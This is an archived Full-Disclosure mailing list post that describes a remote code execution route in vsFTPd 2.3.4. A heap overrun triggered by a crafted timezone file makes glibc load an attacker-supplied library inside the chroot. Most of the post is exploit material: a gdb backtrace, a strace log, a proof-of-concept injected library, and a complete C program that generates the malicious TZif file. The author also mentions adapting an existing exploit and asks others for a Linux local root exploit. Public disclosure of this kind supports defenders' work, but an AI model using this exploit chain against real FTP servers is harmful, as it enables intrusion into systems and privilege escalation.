lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <CAFB=mGAJUsXw3dFu3xsZow=T5PKqEs-ToeAheriuKEZxhorAsQ@mail.gmail.com>
Date: Tue, 13 Dec 2011 20:50:48 +0100
From: "HI-TECH ." <isowarez.isowarez.isowarez@...glemail.com>
To: full-disclosure@...ts.grok.org.uk
Subject: vsFTPd remote code execution

Hello Lists, Ramon,

now this is really akward and somewhat dangerous for vsftpd users.
Exploiting the heap overrun is NOT needed in this case.
It is much easier.

As far as I know when vsftpd crashes due to the heap overrun it will print out
*** glibc detected *** vsftpd: free(): corrupted unsorted chunks: 0x09b3c220 ***
or similar.
Now the fun part is when glibc does that it will continue execution in
a code path
which actually LOADS A LIBRARY, WOW! :D
Namely /lib/libgcc_s.so.1 will be loaded.

gdb backtrace reveals loading of a specific library:

---snip---
Program received signal SIGSEGV, Segmentation fault.
0x00189963 in dl_open_worker () from /lib/ld-linux.so.2
(gdb) bt
#0  0x00189963 in dl_open_worker () from /lib/ld-linux.so.2
#1  0x00185da6 in _dl_catch_error () from /lib/ld-linux.so.2
#2  0x001893f2 in _dl_open () from /lib/ld-linux.so.2
#3  0x002a42e2 in do_dlopen () from /lib/libc.so.6
#4  0x00185da6 in _dl_catch_error () from /lib/ld-linux.so.2
#5  0x002a4495 in __libc_dlopen_mode () from /lib/libc.so.6
#6  0x002810f9 in init () from /lib/libc.so.6
#7  0x00281293 in backtrace () from /lib/libc.so.6
#8  0x001fd2a1 in __libc_message () from /lib/libc.so.6
#9  0x002055a5 in _int_free () from /lib/libc.so.6
#10 0x002059e9 in free () from /lib/libc.so.6
#11 0x001f3c96 in fclose@@GLIBC_2.1 () from /lib/libc.so.6
#12 0x0022093a in __tzfile_read () from /lib/libc.so.6
#13 0x0021f872 in tzset_internal () from /lib/libc.so.6
#14 0x00220119 in __tz_convert () from /lib/libc.so.6
#15 0x0021e6af in gmtime () from /lib/libc.so.6
#16 0x0805a6f0 in geteuid ()
#17 0x0a0581b0 in ?? ()
#18 0xbfda67f4 in ?? ()
#19 0x00000001 in ?? ()
---snip---

look at this library:
---snip---
#include <fcntl.h>
void _init() {
        open("0wned", O_RDWR|O_CREAT, 0777);
}
---snip---

look at this strace output:
---snip---
3874  stat64("/usr/share/zoneinfo/UTC-01:00", {st_mode=S_IFREG|0644,
st_size=544, ...}) = 0
3874  open("/usr/share/zoneinfo/UTC-01:00", O_RDONLY) = 7
3874  fstat64(7, {st_mode=S_IFREG|0644, st_size=544, ...}) = 0
3874  fstat64(7, {st_mode=S_IFREG|0644, st_size=544, ...}) = 0
3874  mmap2(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe8000
3874  read(7, "TZif\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"...,
4096) = 544
3874  read(7, "", 4096)                 = 0
3874  close(7)                          = 0
3874  munmap(0xb7fe8000, 4096)          = 0
3874  open("/dev/tty", O_RDWR|O_NOCTTY|O_NONBLOCK) = -1 ENOENT (No
such file or directory)
3874  writev(2, [{"*** glibc detected *** ", 23}, {"vsftpd", 6}, {":
", 2}, {"free(): corrupted unsorted chunk"..., 33}, {": 0x", 4},
{"09b3c220", 8}, {" ***\n", 5}], 7) = 81
3874  open("/etc/ld.so.cache", O_RDONLY) = -1 ENOENT (No such file or directory)
3874  open("/lib/tls/i686/sse2/libgcc_s.so.1", O_RDONLY) = -1 ENOENT
(No such file or directory)
3874  stat64("/lib/tls/i686/sse2", 0xbfeb711c) = -1 ENOENT (No such
file or directory)
3874  open("/lib/tls/i686/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No
such file or directory)
3874  stat64("/lib/tls/i686", 0xbfeb711c) = -1 ENOENT (No such file or
directory)
3874  open("/lib/tls/sse2/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No
such file or directory)
3874  stat64("/lib/tls/sse2", 0xbfeb711c) = -1 ENOENT (No such file or
directory)
3874  open("/lib/tls/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No such
file or directory)
3874  stat64("/lib/tls", 0xbfeb711c)    = -1 ENOENT (No such file or directory)
3874  open("/lib/i686/sse2/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No
such file or directory)
3874  stat64("/lib/i686/sse2", 0xbfeb711c) = -1 ENOENT (No such file
or directory)
3874  open("/lib/i686/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No such
file or directory)
3874  stat64("/lib/i686", 0xbfeb711c)   = -1 ENOENT (No such file or directory)
3874  open("/lib/sse2/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No such
file or directory)
3874  stat64("/lib/sse2", 0xbfeb711c)   = -1 ENOENT (No such file or directory)
3874  open("/lib/libgcc_s.so.1", O_RDONLY) = 7
3874  read(7, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\340\1\0\0004\0\0\0"...,
512) = 512
3874  open("/dev/tty", O_RDWR|O_NOCTTY|O_NONBLOCK) = -1 ENOENT (No
such file or directory)
3874  writev(2, [{"*** glibc detected *** ", 23}, {"vsftpd", 6}, {":
", 2}, {"malloc(): memory corruption (fas"..., 34}, {": 0x", 4},
{"09b36828", 8}, {" ***\n", 5}], 7) = 82
3874  open("/lib/libgcc_s.so.1", O_RDONLY) = 8
3874  read(8, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\340\1\0\0004\0\0\0"...,
512) = 512
3874  mmap2(NULL, 2097152, PROT_NONE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE, -1, 0) = 0xb7de4000
3874  munmap(0xb7de4000, 114688)        = 0
3874  munmap(0xb7f00000, 933888)        = 0
3874  mprotect(0xb7e00000, 135168, PROT_READ|PROT_WRITE) = 0
3874  fstat64(8, {st_mode=S_IFREG|0755, st_size=2011, ...}) = 0
3874  mmap2(NULL, 4824, PROT_READ|PROT_EXEC,
MAP_PRIVATE|MAP_DENYWRITE, 8, 0) = 0x95f000
3874  mmap2(0x960000, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 8, 0) = 0x960000
3874  close(8)                          = 0
3874  open("0wned", O_RDWR|O_CREAT, 0777) = 8
3874  rt_sigprocmask(SIG_UNBLOCK, [ABRT], NULL, 8) = 0
3874  gettid()                          = 3874
3874  tgkill(3874, 3874, SIGABRT)       = 0
3874  --- SIGABRT (Aborted) @ 0 (0) ---
---snip---

as you can obviously see vsftpd loads the /lib/libgcc_s.so.1 inside the chroot,
so voila we have the same issue as with FreeBSD ftpd/proftpd.
I am now looking into the possibility to modify
http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c

and use as the library. It will be a fun Proof of Concept.

Anyone with an up2date linux local root which only makes use of syscalls? :>

All this was tested on a CentOS 5.5 installation, vsFTPd 2.3.4 was
compiled from sources
and launched from xinetd.
The zonefile which triggers the library load is attached.

Regards

/Kingcope


#include <stdio.h>
#include <stdint.h>
#include <time.h>
#include <string.h>
#define TZ_MAGIC "TZif"
#define PUT_32BIT_MSB(cp, value)                                   \
        do { \
                (cp)[0] = (value) >> 24; \
                (cp)[1] = (value) >> 16; \
                (cp)[2] = (value) >> 8; \
                (cp)[3] = (value); \
        } while (0)
struct tzhead {
        char tzh_magic[4];
        char tzh_version[1];
        char tzh_reserved[15];
        char tzh_ttisgmtcnt[4];
        char tzh_ttisstdcnt[4];
        char tzh_leapcnt[4];
        char tzh_timecnt[4];
        char tzh_typecnt[4];
        char tzh_charcnt[4];
};
struct ttinfo
  {
    long int offset;
    unsigned char isdst;
    unsigned char idx;
    unsigned char isstd;
    unsigned char isgmt;
  };
int main(void) {
        struct tzhead evil;
        int i;
        char *p;
        uint32_t total_size;
        uint32_t evil1, evil2;
        /* Initialize static part of the header */
        memcpy(evil.tzh_magic, TZ_MAGIC, sizeof(TZ_MAGIC) - 1);
        evil.tzh_version[0] = 0;
        memset(evil.tzh_reserved, 0, sizeof(evil.tzh_reserved));
        memset(evil.tzh_ttisgmtcnt, 0, sizeof(evil.tzh_ttisgmtcnt));
        memset(evil.tzh_ttisstdcnt, 0, sizeof(evil.tzh_ttisstdcnt));
        memset(evil.tzh_leapcnt, 0, sizeof(evil.tzh_leapcnt));
        memset(evil.tzh_typecnt, 0, sizeof(evil.tzh_typecnt));
        /* Initialize nasty part of the header */
        evil1 = 500;
        PUT_32BIT_MSB(evil.tzh_timecnt, evil1);
        total_size = evil1 * (sizeof(time_t) + 1);
        total_size = ((total_size + __alignof__ (struct ttinfo) - 1)
                & ~(__alignof__ (struct ttinfo) - 1));
        /* value of chars, to get a malloc(0) */
        evil2 = 0 - total_size;
        PUT_32BIT_MSB(evil.tzh_charcnt, evil2);
        p = (char *)&evil;
        for (i = 0; i < sizeof(evil); i++)
                printf("%c", p[i]);
        /* data we overflow with */
        for (i = 0; i < 500; i++)
                printf("A");
}

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ